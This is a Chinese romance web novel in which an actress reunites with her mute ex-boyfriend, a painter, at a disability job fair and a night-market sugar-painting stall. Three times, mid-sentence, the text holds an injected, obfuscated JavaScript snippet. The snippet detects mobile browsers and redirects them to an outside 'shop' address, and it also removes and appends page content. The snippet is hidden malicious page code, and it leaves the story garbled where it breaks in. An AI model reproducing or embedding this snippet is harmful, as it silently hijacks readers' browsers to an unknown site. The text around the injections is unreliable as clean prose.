《多爱》 1. 重逢 三月天倒是不怎么冷了,就是风有些喧嚣。 秋千舒扶了扶脸上的大框黑色眼镜,顺便压了一下口罩边缘。 在确定这身装扮不会被粉丝认出来她后,她才低着头朝入场公告牌指引的方向走去。 残疾人专场招聘会的规格比不了普通的招聘会,可能是太早的问题,里面有很多企业还没到场,求职的人也没有很多。 好在没一会儿,就有一位穿黄色马甲的志愿者过来,热情地问她需不需要帮助。 秋千舒没有开口说话,而是用手语比划着,拒绝志愿者的好意。 志愿者不会手语,看不懂秋千舒在比划什么,年轻的脸上布满了困惑和尴尬,双手撂在前面十分局促。 “可以等我叫个同事来吗……” 说罢,他就转身起步准备跑去找手语翻译师。 秋千舒见状,连忙开口喊住他:“不好意思,我不是来找工作的。” 一口干净利索的标准普通话,把志愿者都惊得差点刹不住脚。 “给你们添麻烦了,对不起。”秋千舒弯腰道歉。 她要是知道这里的志愿者也有不会手语的,一定不秀她那刚学有成的手语。 半个月前,秋千舒靠在导演那里信誓旦旦地一句“给我两周时间,我能学会手语”,成功和经纪人联合拿下一个小花们都在抢的好本子。 那是一个讲听障女大学生如何一步步成为特教老师的电影,整个团队都是奔着拿奖去的。 秋千舒用了不到两周的时间,就做到了用手语和听障人士无障碍交流,连她的经纪人都感到不可思议。 他们都以为她是零基础学手语,还称赞她用心。 不过是一直都会的东西罢了。 指尖的记忆比大脑更顽固,就算近六年不接触,手语老师稍微和她讲一下,她就能马上回忆起来。 招聘会现场。 志愿者听到秋千舒的道歉,这才反应过来自己不是幻听,乐呵地摆了摆手,说了几声“不碍事”,然后就离开了。 秋千舒在招聘会逛了一圈,大致看了下招聘信息,岗位大都很局限,要求四级残疾。 她觉得没意思,就和她的手语老师发了个消息,告诉她自己来招聘会了。 秋千舒的手语老师今天也在这里当志愿者,而且也是她建议秋千舒来残疾人专场招聘会逛逛,说不定会有意料之外的发现。 这会儿人不多,志愿者也都不忙,赵听雨收到秋千舒的消息后,很快就过来找她了。 “没想到秋小姐你真的会来这里。”赵听雨穿着黄色马甲,手里还拿着登记单。 看见秋千舒坐在公共长椅上,旁边的还有个位置。赵听雨刚小跑过来,呼吸还有点局促,想都没想就一屁股坐了下来。 秋千舒弯眼,把手里没拆瓶盖的矿泉水递给她,示意她喝口水舒缓舒缓。 那是她跟一个志愿者聊天时,对方给她的。 “反正在家里闲着也是闲着,就过来看看了。”秋千舒想了想,还是补充道:“嗯……还挺好的。” 虽然一些工作岗位可能没有那么尽如人意,但还是帮助了不少人。 赵听雨心领神会,拧开瓶盖喝了口水,半斜着身子,靠近秋千舒小声吐槽:“有些企业就是走个形式,有些过分的,HC都没变过。” 秋千舒笑笑,看到有几个比划着手语的聋哑人经过,指了指其中一位穿红衣服的女生,顺势岔开话题:“我刚刚和她说话了,她还夸我手语很好。” 说到这,赵听雨就来劲了。 “你的手语真的超级好!”赵听雨拍一下大腿,好不夸张地赞同道,激动得手里的矿泉水都差点溅出来。 她当初接下秋千舒一对一手语课程时,心里特别紧张,尤其是在听到秋千舒的经纪人给她定的目标后。 本以为要压力爆表,没想到根本不需要她多教。 “我之前都以为你有个什么会手语的亲戚!” 秋千舒看着义愤填膺的赵听雨,不知道该说她这话对还是不对。 她思索片刻,刚要搭赵听雨的话,就被视线边缘不太清晰的人影吸引。 瞬间,秋千舒的瞳孔聚焦在那个人身上。 几乎同时,那人抬头看向她。 四目相对。 尽管他们离得很远。但她依然很确定,他也在看她。 头一回这么恨自己视力太好。 秋千舒不知道,他是否还能认出来她。 也许不能。 她带着口罩,眼镜占据半张脸,一身略显臃肿的服装,还有那头卷了不如不卷的贴头皮波浪卷。 怎么都不该是光鲜亮丽的女明星“秋千舒”。 此时此刻,她内心狂蹦乱炸,甚至有些害怕他认出来自己。 “秋小姐?秋小姐?” 赵听雨喊了秋千舒两遍,她都没有任何反应。 像是灵魂出窍了一般。 赵听雨:“秋小姐!” “啊?”秋千舒回过神来,又庆幸自己戴着口罩,赵听雨看不见她的面部表情。 演技再好,此刻也难掩慌张。 她勒紧声音,无事发生地问道:“怎么了?” 赵听雨并没有在意秋千舒方才的出神,忽然眼睛一亮,声音也意外高涨,“我看见我朋友了,你在这等一下我,我去和他打个招呼。” “嗯,好。”秋千舒点头。 她还没从震惊中缓过神来,就看见赵听雨一溜烟地跑到了对面! * “江时舟!”赵听雨突然出现在他面前,喊他道,“你怎么在这?” 江时舟收回视线,若无其事地朝赵听雨微笑,打手语道:“我来替朋友看看有没有合适他的工作。” 虽然意外遇到六年未见的前任,他倒是没什么惊波。 可能是他只需要管理好神情和举止,不需要控制声音吧。 嘈杂的环境里,江时舟一眼就认出坐在那里晃着手指、仰头泰然自若地和他对视的女人是秋千舒。 虽然他们离得很远。 秋千舒总是很谦虚,在装陌生人这件事上,她还是比他更有权威性。 比如说现在,他更想快点离开这里,但是她就能死死地坐在那,然后毫不刻意地朝他这边看。 俨然一副等待朋友的样子,好似她不认识他。 “你在这当志愿者。”江时舟面对着赵听雨,看似只是随意地一问,“和朋友?” “朋友”指的是秋千舒,虽然秋千舒根本没穿志愿者马甲。 “不是,我那个朋友就是来看看。”赵听雨说着,还回头看了一眼秋千舒,刚好发现她也在看他们,于是就和她招了招手。 江时舟没有跟着赵听雨的视线去看秋千舒,只是僵硬地站在那里。等待着赵听雨再看向自己,然后用手语和她讲话,“我还有事,先走了。” 赵听雨还想和江时舟多说一句,如果他有什么需要帮助的,可以给她发消息。 然而他走得太快,根本不给她任何机会。 不知道江时舟有什么着急的事,赵听雨挠了挠头,一直等他淹没于人群中,她才带着失意转身。 再回到秋千舒的身边,赵听雨松松散散 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16914518|192509||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地坐下来,长叹一口气。 这边是休息厅,空旷且人少,一排的长椅就她们两个人;赵听雨的叹息很轻,但却很清晰。 秋千舒被这声叹息传染,挺得板正的背顿感酸痛,肩膀顺势就耷拉了下来。 她也好想哀怨。 四下无人,赵听雨托着腮帮,扭头看向秋千舒,像是解脱一样,和她说道:“悄悄告诉你一个秘密。” 秋千舒靠近,小声道:“你说。” 赵听雨:“我喜欢那个人。” 秋千舒:“谁?” 她有些懵。 但很快就理清了赵听雨的话。 那个许久都不敢提及的名字,夹杂着他人的爱意,猝不及防地在秋千舒心头划过。 赵听雨口中那个“喜欢的人”,却是曾独属于秋千舒的江时舟。 微弱的刺痛,转瞬即逝。 她很喜欢赵听雨这个人,热情、美好,像朝阳一样。 这么一个人见人爱的女生,江时舟应该也会喜欢得不得了吧。 秋千舒无声地往后靠了靠,悄然间和赵听雨拉开距离。 她不知道该说些什么,这个话题可能不太适合她们。 “他不会说话,刚刚你也看到了。”赵听雨抿了抿嘴,似乎很惋惜这件事。 如果说江时舟身上有什么缺点的话,那一定是他不会说话。 秋千舒愣了一下,内心已经脑补出赵听雨的家人不同意她和哑巴在一起的情形了。 没想到一向倍受长辈们喜爱的他也会有今天。 “你爸妈不同意你们吗?”秋千舒问。 “什么?” 赵听雨的CPU都快被秋千舒这话给干烧了,好一阵困惑,反应过来秋千舒话里的意思后,忍不住笑出声。 “他是我之前的相亲对象,朋友都不一定能算上,人家压根不喜欢我。” 她在胡思乱想什么? 秋千舒埋头,尴尬地抠手指。 他们早就结束了,在六年前所有人的期待中。 “他为什么会在这里?”秋千舒还是忍不住问。 尽管她知道自己这么做很龌龊。 赵听雨仰头看向天花板上的白炽灯,脸颊鼓起故作倔强,“找工作吧,我已经很久没关注过他了。” 秋千舒震惊。 是在说那位年少成名的天才画家江时舟,跑到残疾人招聘会,找工作? 开什么玩笑,她宁愿相信刚刚是自己眼花了,看到的人不是江时舟。 赵听雨被同事叫走,留下秋千舒一人坐在长椅上。 视线再次飘向方才江时舟的位置,神游放空大脑。 她甚至没意识到自己什么时候站起来的,等反应过来时,人已经穿进了拥挤的人流中,在四周搜寻着刚才消失的身影。 “让一让,麻烦让让!” 一个抱着一摞文件的工作人员步履匆忙,高声吆喝着,试图穿过人群。 秋千舒见状,仓惶后退躲避,忘了留意身后。 “啊!” 一声惊吓。 好巧不巧,秋千舒撞上从她身后穿行的轮椅女生。 脚步突然受阻,但上半身却悬空没有阻挡,秋千舒一个没站稳,失控从后仰了过去。 就在秋千舒以为自己要摔在地上的时候,轮椅女生伸手,一把拽住了她,没让她引起更大的波浪。 刚站稳脚,没来得及在意自己的情况,就听到对方尖叫一句,“你是秋千舒吧!啊啊啊!我是你粉丝!” 在正值人流高峰期的招聘会大厅里,甚至还有回音。 2. 夜市 #残疾人招聘会上偶遇秋千舒# #秋千舒新电影待开机# 喜提热搜。 给她空档期平添了一大波讨论度。 虽然但是,秋千舒有点想死。 她一点都不想让人知道她线下跑去残疾人招聘会,给人家工作人员填了那么多麻烦。 以及在那里偶遇前男友,还假装没看见,结果热搜上赫然写着她在早上几点几分去招聘会,并被粉丝偶遇。 傍晚,秋千舒躺在自己两米的大床上,翻来覆去,心却静不下来。 睡不着。 她一闭眼就会不自觉想起今天早上的事。 第五次在黑暗里拿起手机,光照到她的脸上,看到她的高中同学兼好闺蜜加班结束后回她的消息。 【孔昭:你说你在招聘会上见着江时舟了?】 【孔昭:不是……他去那干嘛?】 【孔昭:不对,你去那干嘛!】 秋千舒弓着腰趴在被窝里,手机放在枕头上,抻出两只手打字。 她刚打了两个字,还没编辑完,孔昭的视频电话就打过来了。 秒接,都忘了她没穿衣服。 意识到这一点的秋千舒连忙把手机扔到一边,从被窝里坐起来,在床上好一阵摸索,找到睡裙套到头上。 “你那边怎么那么黑啊?”手机那头的孔昭还在纳闷屏幕怎么是黑的。 秋千舒拿起手机,起身打开灯,把衣服里的头发扒出来,“我睡觉呢。” “哈?”孔昭震惊,不确定地看了一眼时间,“这才九点零六诶!” 她刚下班,人都还没走出办公室,怎么就有人都已经洗漱完躺床上睡觉了? “你给我出来。”孔昭觉得自己肩上扛着的包更加沉重了,她指着屏幕,气愤填膺地说道:“陪我去吃夜宵。” 不等秋千舒反应,孔昭就已经把视频电话给挂了,然后发了个定位过来。 秋千舒有些犹豫,她去招聘会被粉丝偶遇的视频到现在还在热搜上挂着,真不敢再随便出门了。 还想找理由开脱不去,孔昭就给她发了条威胁消息。 【孔昭:不来你就死定了!】 嗯,还是去吧。 * 九点的夜市正是最热闹的时候,尤其今天还是周六,街上的人比白天还多。 星星灯与梧桐树交织在一起,枯枝发出新芽。 人流涌动在街道,五颜六色的牌匾写着馋嘴小吃,大字吸引眼球;路口还在播报安全提示,来来往往数不清的精致男女。 秋千舒戴着鸭舌帽,站在路灯下举着手机玩起了自拍,顺便等孔昭来。 不得不说,这地方还挺出片的,怪不得她看好多打扮得很时髦的漂亮女生来在这拍照。 “我的天,姐妹,你真不怕人认出来你啊?”孔昭老远就看见秋千舒搁那各种摆poss拍照。 走进了一看,好家伙。 全妆啊。 “你不是睡觉的吗?”孔昭微微仰头,手指比划了一下她的脸,示意秋千舒居然还有闲工夫画妆。 看妆面,真是一个步骤都没少,连假睫毛都贴了,唯一少了一点可能就是没戴美瞳吧。 就秋千舒那双自带秋波的眼睛,不戴美瞳也漂亮得不行。 根据秋千舒今天早上得出来的结论,被认出来完全是一件概率问题。 如果遇到她的真爱粉,就会和早上一样,就算她化成灰,粉丝也会认出来。 所以不如精心打扮,以防万一。 “我可以被认出来,但绝对不能丑着被人认出来!这是女明星的自我修养。” 孔昭撇了撇嘴,从包里拿出一个没拆封的一次性口罩递给她,“被刺激了?别整那些虚的,不被人认出来才最重要。” 秋千舒出门的时候戴了口罩,刚刚就是因为想自拍,所以把口罩摘了,其实她也没那么大胆。 俩人一起到了一家烧烤摊,孔昭自己点了些菜,然后就拉着秋千舒坐了下来。 “你给我讲讲,你和江时舟究竟发生了什么事?”刚坐下来板凳都还没捂热呢,孔昭就先发制人,问起了上午的事。 她知道秋千舒憋不住,肯定会胡思乱想,不然躺床上早八百年睡着了。 秋千舒表情一转,也不抱怨孔昭带她这个减肥人士来烧烤摊了,面色沉重地看着孔昭,断言道:“我觉得他肯定认出来我了。” 孔昭开了瓶啤酒,先倒了一杯递给秋千舒,又给自己的杯子满上,“认出来就认出来呗,又没什么大不了的。你们俩不是和平分手吗?” “啧,主要是……我装没看见。”秋千舒现在想起来,居然还有一丝后悔。 孔昭不以为然,“他不也假装没看见你嘛。” 秋千舒:“所以就更烦了。” 孔昭:“……” 孔昭盯着她看了好大一会儿,放下手里的串,抽出纸巾擦落到手上的油,“说真的,你俩也算青梅竹马吧。我是真没想到,居然真的能六年碰不着面。” 她还以为他们分手了也能天天见面,以至于在秋千舒告诉她,她和江时舟分手的消息后,她首先就是问,他们是和平分手吧。 不然,多尴尬啊。 秋千舒低头思考这个问题。 他们应该有很多见面机会的,毕竟俩人之前是邻居,但是江时舟躲着她。 有她的地方,没有他。 后来,她的工作变忙了,一年也不回家一趟。 再后来,他搬家了。 然后就没有然后了。 “不是,你俩真的是和平分手吗?”孔昭真的要开始怀疑了。 又没有什么大吵大闹,怎么见个面就找不到北了呢? 确实是和平分手,没变心,没吵架,没出轨。 就是有一天,江时舟给了她一张A7活页纸,然后他们就分手了…… 那是个凛冬,特别特别冷。 春节还没结束,她的经纪人就给她发了最后通牒。 从“不希望她谈恋爱”到“勒令她立刻分手”。 秋千舒不知道怎么和江时舟说,唯一知情的她的好朋友孔昭,也不断地劝她快点结束。 怄在这里,迟早会由爱变恨,不如在尚存有爱的时候,斩断这份孽缘。 至少还是段美好的回忆。 但每次看着江时舟那张脸,秋千舒就说不出口。 到最后,秋千舒也依然没有说出口。 江时舟一如既往地尽着男友职责,只是在她回剧组的前一天,主动结束了他们的关系。 ——我们分手吧。 那张写着结束的活页纸至今还藏在她房间的箱子底。 工整的字迹,简单的收尾。 连带着所有的故事,在看不见的箱子里,逐渐褪色、卷曲、脆弱。 机场外面,嘈杂的声音让秋千舒十分烦躁。 她知道她没有时间了,如果她还想当面和江时舟分手的话。 周围人来人往,在自我的时间里奔波,汽车鸣笛声刺耳,却不断地穿入她的颅顶,把她的心刀割成一片又一片。 没有人为她即将逝去爱情驻足,她也不会。 秋千舒几次欲言又止,终不舍得开口。 冷风把她的头发吹得凌乱,吹进眼睛里,刺红了眼眸。 她没有管吹得满脸都是的头发。 她管不了风。 时间一点点地流逝,她深吸一口气,笑着问他还有什么话想和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16914519|192509||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她说的吗。 没有的话,就该她说了。 江时舟点头,帮她把头发别到耳后,然后拿出纸和笔,低头写下那行字。 他没有打手语,即便她能看懂。 看到他在活页本上写了什么时,秋千舒是松了一口气的。 她庆幸说这话的不是自己,好像这样就可以证明她不是这段感情的背叛者。 秋千舒拿走了那张活页纸,说了句“以后还是朋友”,然后就进机场了。 一切都那么轻描淡写…… 回到烧烤摊,秋千舒都快被盘子里的烤串香迷糊了。 她坚定地拿起杯子,猛得灌了一口啤酒。 终于受不了,秋千舒抓狂,指着吃肉的孔昭,咬牙切齿道:“下次!一定!不要再让我跟你来吃烧烤了!” “你再忍忍,我马上就吃好了。”孔昭看秋千舒都快忍不住暴走了,又拿起一串烤肉,加快了咀嚼的动作。 光盘行动,可算是吃完了。 见孔昭喝完最后一口啤酒,秋千舒当即起身,想要立刻离开这个充满诱惑的地方。 还没走两步,就看见了有人拿着糖画路过,还是龙的图案。 以前小时候经常看到的东西,现在很少见了,也可能是她平时不怎么出来逛的缘故。 秋千舒羡慕得眼睛都直了,抓住孔昭的胳膊一阵乱摇,“糖画!我也想要!” “你别急,等我去问问家人在哪买的。”孔昭摁住上下乱跳的秋千舒。 她也有点稀奇,好久没来这边的夜市逛了,都不知道这什么时候有卖糖画的了。 秋千舒站在路边上,眼巴巴地望着孔昭去问拿着糖画的那两个女生。 而她自己,已经开始幻想等会要老板给她画个龙,然后拍照发微博的事了。 * “不远,就在前面拐弯的地方。”拿着糖画的路人这么说,“但是人有点多,摊主长得可帅了,就是好像不能说话。” 和路人一起的女生也补充道:“那个摊主不喜欢别人偷拍他,我也没敢拍,但是人长得是真好看,你们一定要去看看。” 长得似明星,还不会说话……怎么有种熟悉的感觉。 孔昭和她们道完谢,就回来找秋千舒了。 原位置没找到人,打开手机才发现,秋千舒这家伙雷达属性大爆发,自己找到了卖糖画的摊。 这会儿正是人多的时候,整个摊围满了人。秋千舒站在外边,连个小摊的全貌都看不清,更别提老板的影子了。 正当秋千舒快要挤进去的时候,孔昭一把把她拉了出来,帮她正了正被挤得有些歪了的帽子,双手摁着她的肩膀。 “我有句话不知当讲不当讲。”孔昭表情严肃。 秋千舒现在正是兴奋的时候,她都想好等会儿发什么文案了,因为没有素材,她都好久没有发微博了。 每次都得经纪人催她,她才绞尽脑汁地发点没啥人味的营业照;经纪人都打算收回她的微博,不让她自己经营了。 这个月终于不用被催了,提前完成KPI! “你说呗,能有啥事。”秋千舒还沉浸在自己的世界里。 孔昭看她一脸傻样,都不知道该怎么跟她说了,“额……要是你……再遇到江时舟了怎么办?” “啊?”怎么话题跳得这么快,秋千舒迟疑地看向孔昭,但还是老实回答了这个问题,“正常打招呼吧,我绝对不装了。” 孔昭又问:“你确定?” 秋千舒啧了一声,妄言道:“没难度。” 见秋千舒这么自信,孔昭二话不说地带她去买糖画。人主角都这么说了,她还能替她尴尬不成? 而且,说不定这卖糖画的,不是她想的那个人呢…… 3. 糖画 她刚刚怎么说的来着。 绝对不装看不见了,正常打招呼叙旧。 她又没做错什么。 高挂在糖画摊上的照明灯散发着柔光,斜落在江时舟的侧脸,随意得有些凌乱的头发遮住部分眉眼,一如既往的赏心悦目。 但比起那张好看的脸,更引秋千舒注目的,是他那双手,曾经画出过天价山水画的手,此刻正攥着糖勺。 秋千舒震惊地看着这位糖画摊老板,就算是今早看到他一个人去残疾人专场招聘会,也断然没联想到他居然真的落魄到在这里摆地摊。 虽然如今看来,摆地摊也没什么不光彩的,但秋千舒还是很震惊。 她觉得他应该坐在充满艺术气息的画室里,完成他那普通人都能感觉得到巧夺天工的画作,然后视金钱如粪土,就算有哪位富豪出价一百万,他也不愿意随便卖掉自己的作品。 秋千舒一直以为,江时舟会成为这样的艺术家。 怎么都不应该在这里二十块钱画一幅糖画! 太奇怪了。 “我转到龙了。”和她一起的孔昭指羊为龙,抬手就拔掉了插在摊子上的现成的龙图案的糖画,“不用现做了,我要这个就行。” 说完,人就溜走了。 好像也没付钱。 留秋千舒一个人呆呆地站在原地,转盘上的指针还停留在羊的图案上。 怪不得孔昭会在她买糖画前问她,如果再见到江时舟怎么办? 看热闹不嫌事大,孔昭在溜之大吉前,还特意把后面也想买糖画的人群给劝走了。 就剩下他们两个人。 没有尘烟笼罩,灯也明亮;那张清晰又熟悉的面孔让秋千舒的心狂跳不止。 江时舟也没有开口说话,哦,他也没办法开口说话。 就那么静静地等着她的决定,是像白天一样形同陌路,又或者笑着说“好巧啊”。 他只需要等秋千舒先说话。 锅里的糖浆咕咕冒着气泡,散发着甜腻而焦香,在空气中回荡,不知道要去什么地方。 摊子旁上摆着个小黑板,写着“摊主不能说话”,灼人眼球。耳边传来稀稀疏疏的说笑声,是路过的情侣在打闹。 “好久不见。”秋千舒挤了个不太真诚的笑,不过戴着口罩,也看不出艰难。 她没必要慌张,秋千舒在心里想。 江时舟点头,回了她一个同样没什么灵魂的假笑,而后指了指旁边的转盘,他倒是还没忘自己的生意。 深知自己今天的运气,百分百转不到想要的图案,秋千舒也就没转,只是看着他,道:“我也想要龙。” 不愧是国画系的高材生,就算是用勺子画糖画,也画得惟妙惟肖,也不知道他跟着师傅学了多久。 秋千舒拿到糖画时,恨不得立刻拍照留念,一点也舍不得吃掉。 他还是厉害的。 “你怎么在这里摆摊?”秋千舒见这会儿没人,也可能是孔昭努力在幕后帮她。 她越过提示牌,绕到摊子里面,盘问起江时舟来。 比起尴尬,她更在意他为什么看起来这么落魄,甚至还要跑去残疾人招聘会求职。 她说过,就算分手了,他们也能当朋友。 虽然多少有些扯淡。 江时舟刚想打手语,手都悬在半空了,又想起秋千舒可能都不记得了,于是又摘掉手套去找手机。 秋千舒见状,连忙道:“不用,我记忆挺好的。” 江时舟的身体顿了一下,低着头把手机放回原位,再看向她时,眼里多了点不知所措。 “卖不了画,想摆摊赚钱。”江时舟用手语道。 他的老师骂他的画没灵魂,全都是标准答案,没一点自己的想法,卖得再好也只是个三流商人,不配叫画家。 他很想画自己的东西,但是改变很漫长。 最近三年,他一幅画都没卖。画廊的主理人都让他放弃那些没用的自我意识,继续画那些没灵魂但受欢迎的作品。 当个三流商人也挺好的。 江时舟觉得对方说得很对,于是就来这里摆摊了。 只当画家的话会饿死,就算是颇有天赋的江时舟也不能只靠卖画活着,这简直是危言耸听。 “那你现在还画画吗?”秋千舒问。 江时舟点头,虽然画廊的生意不好做,但他愿意的话,还是能轻松地高价卖出去画的。 随便一幅画,就足够他活很长时间的了。 只是他不愿意。 没有打磨好的作品出现在市场上,有损他风评吧…… 当然,这些事情,他不会直白地告诉秋千舒。 秋千舒不了解行情,总感觉江时舟这是在苦中作乐,看他这么说有些于心不忍,索性就不再问了。 她事业运太好了,累过、苦过,但就是从来没穷过;每年都有爆款剧让她稳居顶流宝座,以至于她都快忘了一个事实—— 大部分人都是抑郁不得志的。 不知道是不是孔昭划水了,一个妈妈带着小女儿走到江时舟的摊前,不确定地问了句,“请问,现在还出摊吗?” 如果不是女儿一再请求,她一定不会想来打破这个僵局,稍微有点眼力劲儿的成年人都能看得出来,摊主正在经历人生大事。 “出摊,出摊!”秋千舒不好意思再耽误江时舟做生意,连忙替他回道;转头又看向江时舟,“我也不打扰你了,你忙吧。” 她在这里怪影响客人的。 江时舟正打算开火烧糖,听到秋千舒的话,抬头看了她一眼,然后就没有其他动作了。 小女孩还在一旁拍手,很开心地说自己想要小绵羊,那是她的生肖。 她的妈妈则在一旁尴尬得都想挖地三尺把自己给埋了。 一次外向换来终身内疚。 都这样了,这摊主明显是出不了摊的啊。 好想叫住那位长得酷似大明星“秋千舒”的漂亮女生,能不能回来继续和摊主叙旧啊! 这糖画她也不是非买不可的…… 和江时舟分别后,秋千舒在对面的石墩旁找到了孔昭,她正坐在石墩那吃刚买来的臭豆腐。 看到秋千舒这么快就跟江时舟聊完了,孔昭还有些不可思议,连忙把最后一口汤汁喝完,扔进旁边的垃圾桶,装作无事发生的样子。 顺便把电话也挂了,她家那位突击查岗,问她什么时候和秋千舒吃完夜宵,他来接她。 现在夜宵是吃好了,不过又有更重要的事了,一时半会儿应该结束不了。 秋千舒全然没有注意到孔昭刚刚在偷吃,脑子里全都是江时舟在这里摆摊的事。 可能江时舟这个摊主都没有那么在意摆地摊这件事,尤其是摆地摊还被前任看见了。 但秋千舒却对此事耿耿于怀,“他居然在摆地摊!” 孔昭不以为然,把手机装起来,抽了张纸擦嘴,“他在这里摆摊一个月赚得可能都比我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16914520|192509||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多。” 要不是因为她手残,她都想辞职去摆摊了。 不过,孔昭也有点奇怪,“江时舟家不是挺有钱的吗?” 对啊,江时舟家挺有钱的。 所以他为什么会落魄到摆地摊? 秋千舒摇头:“我也不知道……” 她只记得江时舟和他爸妈的关系很一般,所以从十岁开始就一直住在他外婆家。 也正因如此,他们才能成为邻居。 “他怎么样跟你又没关系,想那么多干嘛?”孔昭正解道。 秋千舒撇嘴,小声嘟囔了句“哦”。 * 夜市逛完,已经十一点半了。 秋千舒出门的时候,她爸妈就已经休息了,为了不打扰他们休息,她一个人偷偷地溜出去,又一个人蹑手蹑脚地回来。 黑灯瞎火的也看不太清楚,秋千舒以为家里人都睡熟了,也没敢开灯,就这么扶着墙摸索着,准备神不知鬼不觉地回自己房间。 客厅的灯突然亮了。 秋千舒吓得差点没站稳,猛得回头就看见杨素韵女士坐在客厅中央的沙发上,手里拿着遥控器,目不转睛地审视着她。 “妈?”秋千舒拍了拍自己受惊的小心脏,拖着有些倦的腿走过去,忍不住吐槽道:“你大半夜不睡觉,坐这干什么……” 杨素韵下午的时候请自己学生喝奶茶,没忍住自己也喝了一杯奶茶。 结果到现在都睡不着觉。 她家老秋倒是睡得死,自家女儿三更半夜地跑出去了,也不知道,叫都叫不醒。 “去哪了?”杨素韵皮笑肉不笑,双手放在二郎腿上,语气平淡,听不出什么态度。 她可没干什么偷鸡摸狗的事,慌不了一点,秋千舒大大咧咧地坐到杨素韵身边,“和孔昭出去玩了,陪她去吃夜宵。” 打扮得那么漂亮,只是简单地去吃夜宵?杨素韵眯眼,有点遗憾,“不是约会去了?” 虽说她不在意自家女儿结不结婚,但是真要到了那一步,她还是蛮有原则的。 约会?她倒是想啊,问题是她都没对象,怎么约会! 无稽之谈! “什么约会?没有约会。不过我今天倒是遇见了个人。”秋千舒倒了杯水,拿着杯子在嘴边,偷偷观察着杨女士的表情变化,“你还记得隔壁的江时舟,我今天在夜市遇着他了。” 杨素韵也是一惊,扭头问她:“我都好些年没见着他了,也不知道那孩子过得怎么样。” 秋千舒摇摇头,没有说话。 看来是不怎么样,杨素韵难免也有些心疼,江时舟也算是她看着长大的。 “怪不得……我听人说,隔壁那栋别墅要有人住了。自他和他外婆搬走以后,那地方一直空着,估计是经济不景气,把房子也卖了。” “那孩子也怪可怜。前年吧,我去他外婆的葬礼,他一个人孤零零地坐在那,也没人跟他说话……那么一大家子亲戚,竟然没一个会手语的,我都还会比划两句呢……” 秋千舒抓住重点,阻止她妈继续说话,“等会儿,他外婆去世了?我怎么不知道!” 她只知道好多年前,江时舟的外婆生病,她去探望。 那时候秋千舒和江时舟分手都好久了,她还以为自己能遇见江时舟,结果没想到江时舟知道她要来,直接就回避了。 但是那时候,他外婆的病好像不严重,没多久就出院了。 怎么就,突然去世了? 4. 初见 “我没跟你说吗?”杨素韵回忆了一下,她好像还真没跟秋千舒说,尴尬地给自己找借口,“你忘了,前年你一整年都没回过家,电话都没打几个,你要是多给我打几个电话,我估计就不会忘了。” 秋千舒有点怨气。 江时舟的外婆生前对她很好,她也很喜欢那个时髦的老太太,没想到最后她连人家的葬礼都没有去了…… 小时候的秋千舒特别羡慕邻居的院子,各种花花草草,一到春天就春色满园,各种花香萦绕,漂亮得像是童话故事里公主的后花园。 哪跟她家一样,院子里全都是番茄、黄瓜和豆角。 她爸妈喜欢种菜就算了,家里的阿姨还特别会打理这些菜,每次都能大丰收,一到那个时候,吃都吃不完。 秋千舒特别嫌弃这件事,觉得他们一点艺术格调都没有。而住在隔壁的蒋女士,则是这个世界上最漂亮、最优雅、最时髦的老太太。 每天早上秋千舒出门上学,都能看见这位园丁装扮的老太太在她的花园里修剪花草,有时候还会折一支花送给她。 拿到花的秋千舒会对着那束花傻笑一整天,然后幻想着自己也能变成公主,在满是鲜花的园子里翩翩起舞。 少女的想法总是梦幻的,而蒋女士的惬意生活,就是她梦寐以求的幻想。 某天,在杨素韵的强烈要求下,秋千舒穿着好几天没洗的校服,拿着一把豆角和两根黄瓜,第一次来到了她心目中唯一公主的家。 她当时是绝望的,她觉得自己玷污了公主神圣而不可侵犯的城堡,最后肯定会被扫地出门。 然而,蒋女士却特别热情地招待了她,说她的豆角和黄瓜新鲜。 明明一身名贵云香纱的她跟豆角和黄瓜根本不搭,却还那么温柔地和她说喜欢,还回赠了她一个亲手做的香囊。 闻着那温和的药草香,秋千舒沦陷了。 毫不夸张地讲,秋千舒这个好面子的,能从一开始就特别照顾江时舟这个小哑巴,百分之一的原因是江时舟长得好看,剩下百分之九十九都是因为他是蒋女士的外孙,而她爱屋及乌。 十岁的江时舟在阳光下白得像个天使,尤其还蹲在满墙的粉色蔷薇面前,绿叶衬托鲜花,阳光衬托他。 那天,阳光明媚。 秋千舒放学回家,习惯性地往邻居家的方向望,一眼就被闪闪发光的男生吸引了。 大人一般不喜欢给自家小孩买浅颜色的衣服,因为穿不干净,秋千舒都没几件,虽然她每次穿白裙子都很小心翼翼,但是还是会弄得很脏,她也不知道为什么。 他却穿着一身的浅颜色的衣服,看起来还特别干净,像是刚换上的一样。 